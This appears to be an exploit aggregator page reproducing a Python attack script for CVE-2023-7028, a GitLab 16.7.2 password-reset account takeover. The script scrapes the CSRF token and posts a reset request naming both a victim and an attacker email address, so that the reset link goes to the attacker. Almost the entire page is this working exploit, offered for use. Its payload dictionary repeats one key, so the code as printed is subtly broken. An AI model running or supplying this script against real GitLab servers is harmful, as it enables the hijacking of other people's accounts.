Share
## https://sploitus.com/exploit?id=PACKETSTORM:190576
# Exploit Title: GitLab 16.7.2 - Account Takeover via Password Reset
    without user interactions
    # Date: 2025-04-16
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: miladgrayhat@gmail.com
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # MiRROR-H: https://mirror-h.org/search/hacker/49626/
    # Version: = 16.7.2
    # Tested on: Win, Ubuntu
    # CVE : CVE-2023-7028
    
    #!/usr/bin/env python3
    import argparse
    import re
    import requests
    import os
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    session = requests.Session()
    
    
    def grab_token(url):
     headers =
    {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
    (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101
    Firefox/121.0","Referer":""+url+"/users/sign_in","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
    deflate, br"}
     cookies = {"preferred_language":"en"}
     response = session.get(""+url+"/users/password/new",
    headers=headers,verify=False)
     pattern = r'<meta name="csrf-token" content="(.+?)" />'
     match = re.findall(pattern, response.text)
     if match:
      token = match[0]
      print(f'The CSRF token is: {token}')
      return token
     else:
      print('Error: CSRF token not found in the HTML content')
      exit()
    
    
    def reset_password(url,token,victim,attacker):
    
     paramsPost =
    {"user%5Bemail%5D":victim,"user%5Bemail%5D":attacker,"authenticity_token":token}
     headers =
    {"Origin":""+url+"","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
    (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101
    Firefox/121.0","Referer":""+url+"/users/password/new","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
    deflate, br","Content-Type":"application/x-www-form-urlencoded"}
     response = session.post(""+url+"/users/password", data=paramsPost,
    headers=headers,verify=False)
     if "If your email address exists " in response.text:
      print("Check if you have a new password reset email")
     else:
      print("Possible not vuln")
    
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=False, default="
    http://gitlab.lan",help="URL of host to check will need http or https")
    parser.add_argument("-v", "--victim",
    default="victim@gitlab.lan",required=True,
    help="victim email address")
    parser.add_argument("-a", "--attacker",
    default="attacker@gitlab.lan",required=True,
    help="attacker email address")
    parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy
    for debugging")
    args = parser.parse_args()
    
    url = args.url
    victim = args.victim
    attacker = args.attacker
    
    if args.proxy:
     http_proxy = args.proxy
     os.environ['HTTP_PROXY'] = http_proxy
     os.environ['HTTPS_PROXY'] = http_proxy
    
    if url:
     token = grab_token(url)
     reset_password(url,token,victim,attacker)